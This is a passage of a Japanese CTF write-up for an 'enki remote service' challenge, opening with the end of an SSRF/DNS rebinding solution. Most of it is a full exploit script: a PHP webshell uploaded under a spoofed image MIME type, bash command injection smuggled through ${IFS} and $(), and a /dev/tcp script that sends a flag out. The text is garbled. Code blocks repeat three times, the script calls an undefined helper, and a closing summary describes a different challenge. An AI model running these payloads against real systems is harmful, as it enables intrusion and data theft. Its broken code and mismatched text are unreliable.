    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")

DNSが内部IPを返したタイミングでリクエストが成功すると、VIP専用の画像がダウンロードされます。該当の画像には、フラグ ENKI{Th1s_1s_R34L_FL4G_XD} が含まれています。

総合評

本問題は、Next.jsのようなモダンなフロントエンドフレームワークが提供する画像最適化機能が、SSRFベクトルとして悪用される可能性があることを実証的に示しています。DNS Rebinding手法は、ネットワークの隔離を過信しているアーキテクチャにおいては、依然として有効な脅威です。これを防御するためには、remotePatterns設定を厳格に制限し、サーバー側でDNSピン留め(DNS pinning)を適用するなど、多層的な対策が必要です。実務環境において内部サービスと外部サービスを分離する際、サーバー側のリクエストが意図しない形で内部ネットワークにアクセスする経路が存在しないか点検することの重要性を再認識させる問題です。

enki リモート サービス

enki remote service

脆弱性の分類

Arbitrary File Upload (WebShell), Command Injection (CVE-2026-1731)

出題の意図

本問題はソースコードが提供されないブラックボックス環境でエージェント(クライアント)を分析し、サーバー・エージェント間の通信を把握してこの過程で脆弱性を探し、さらにはエージェントクライアントのRCE脆弱性を見つけて、隔離された環境にあるVMまで追加でエクスプロイトできるかを評価するために出題されました。

解法

1. サービス構造の把握

提供されるURLにアクセスすると、インスタンス生成ボタンがあり、これによって隔離されたウェブサーバーとエージェントサーバーが生成されます。ウェブサーバーはPHPベースで、/_agent エンドポイントから接続されたエージェントに命令を伝達し、命令の結果を受け取る役割を果たします。エージェントサーバーは、エージェントが実行されてウェブサーバーと接続された状態で提供され、ウェブサーバー以外の外部サーバーとの接続が遮断されています。

フラグはウェブサーバー、エージェントサーバーにそれぞれ1つずつ保存されており、最終的なフラグを得るためには両方のサーバーをエクスプロイトする必要があります。

2. ウェブサーバーのシェル獲得

エージェントを登録するとスクリーンショット機能を要求することができ、スクリーンショットファイルは workspace/<agent_name>.<ext> パスに保存されます。エージェントを分析してみると、スクリーンショットをアップロードする際に image/png のように mime type を送信し、サーバー側では / を基準に split して拡張子をそのまま使用します。そのため、image/php でスクリーンショットをアップロードすることで、簡単にウェブシェルを獲得できます。

フラグは /flag.txt に配置されており、参加者はウェブサーバーのソースコードを獲得することができます。

3. エージェントサーバーのシェル獲得

  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"
  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"
  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"

エージェントは wrapper.sh から実行され、終了するたびに再起動されます。再起動されるたびに ./agent-registration.json ファイルから poll_interval_ms キーを読み取って環境変数を設定しますが、[[ ... ]] 比較文を使用しているため、CVE-2026-1731 と同様のケースで $() を挿入してRCEが可能です。

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

エージェントにはファイル書き込み機能があるため、これを利用して agent-registration.json ファイルを上書きすることができます。

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

また、エージェントをクラッシュさせるためには、存在しない命令コード(例: 0)を送信すればよいです。

したがって、以下のようにエクスプロイトを構成できます。

  1. /app/enki-data/agents.json ファイルを読み取り、agent access_code, id などの情報を確認

  2. /app/enki-data/agents.json ファイルに命令を挿入するため、次のように commands を構成

エージェントサーバーは外部接続が防がれているため、ウェブサーバーに結果を送信する HTTP リクエストを /dev/tcp/{ip}/{port} へ送信するシェルスクリプトを生成した後、該当のスクリプトを実行させればよいです。このとき、比較文の中に入るコマンドのスペースが消去されるため、${IFS} を使用して構文を合わせる必要があります。 1. agent-registration.json にコマンドが含まれた内容を書き込む 2. 存在しない command type を記述する、というように構成すると、agent-registration.json ファイルが修正され、その後に存在しないコマンドを読み込んでクラッシュが発生し、コマンドが実行されます。コマンドは次のように構成しました。




エクスプロイトの最終コードは以下の通りです。

import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def append(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()
import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def append(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()
import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def append(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()

総合評

本問題は、技術的な脆弱性(Path Traversal, CAPTCHA回避)よりも、ビジネスロジックの脆弱性(メールアドレスのスワップを通じたアカウント乗っ取り)に焦点を当てた実戦的な問題です。多要素認証(OTP)やクライアント側の暗号化(AES-GCM)が適用されており、一見セキュリティレベルが高そうに見えますが、メール変更APIにおける権限検証の不備という単一の論理的欠陥が、認証体系全体を無力化し得ることを示しています。実務において、暗号化通信やMFAだけで安全であると判断せず、各APIのビジネスロジックに対する権限検証を確実に実行しなければならないという教訓を提供します。

本問題は、実務で遭遇するケースを活用して作成された問題であり、参加者に以下のような能力を要求します。

  • クライアントが提供されている場合、ウェブハッカーであってもIDA MCPのようにAIを活用したリバーシングができること

  • 適切な推測を通じてシェルを獲得できること

  • CVE-2026-1731のように最新のイシューに敏感であること

  • サーバーの反応を通じて、外部通信が遮断され、ユーティリティが存在しないサーバーから様々な方法でデータを流出させることができるという、実務に適した能力。そして、採用CTFの趣旨に合わせ、実務で悩まされるケースを問題を通して解決し、実務に役立てる教訓を提供します。

漏洩

脆弱性区分

HTML Injection, Cross-Site Request Forgery (CSRF), Spring Data Binding 迂回 (CVE-2025-22233), Unicode デコードトリック

出題意図

本問題は、Spring Bootベースのウェブアプリケーションにおいて発生し得る多段階脆弱性チェーンを構成する能力を評価するために出題されました。単一の脆弱性攻撃ではなく、複数のセキュリティメカニズムを段階的に迂回して最終目標(管理者権限の獲得)に到達するプロセスを検証します。

  1. JavaScriptコードインジェクション: console.log()に反映されるユーザー名を通じて、クライアント側のコードを実行できるかを識別します。

